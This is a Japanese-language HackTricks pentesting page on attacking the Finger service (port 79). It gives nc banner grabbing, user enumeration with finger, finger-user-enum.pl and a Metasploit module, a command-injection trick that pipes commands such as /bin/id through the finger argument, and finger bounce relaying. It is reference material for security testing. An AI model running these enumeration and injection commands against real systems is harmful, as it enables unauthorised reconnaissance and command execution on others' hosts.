79 - Pentesting Finger

Reading time: 4 minutes

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Finger プログラム/サービスは、コンピュータユーザーに関する詳細を取得するために利用されます。通常、提供される情報には ユーザーのログイン名、フルネーム が含まれ、場合によっては追加の詳細も含まれます。これらの追加の詳細には、オフィスの場所や電話番号（利用可能な場合）、ユーザーがログインした時間、非アクティブ期間（アイドル時間）、ユーザーが最後にメールを読んだ時刻、ユーザーのプランやプロジェクトファイルの内容が含まれることがあります。

デフォルトポート: 79

PORT   STATE SERVICE
79/tcp open  finger

列挙

バナー取得/基本接続

bash
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79

ユーザー列挙

bash
finger @<Victim>       #List users
finger admin@<Victim>  #Get info of user
finger user@<Victim>   #Get info of user

代わりに、pentestmonkeyからのfinger-user-enumを使用できます。いくつかの例：

bash
finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt

Nmapはデフォルトスクリプトを使用してスクリプトを実行する

MetasploitはNmapよりも多くのトリックを使用する

use auxiliary/scanner/finger/finger_users

Shodan

  • port:79 USER

コマンド実行

bash
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"

フィンガーバウンス

システムをフィンガーリレーとして使用する

finger user@host@victim
finger @internal@external

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする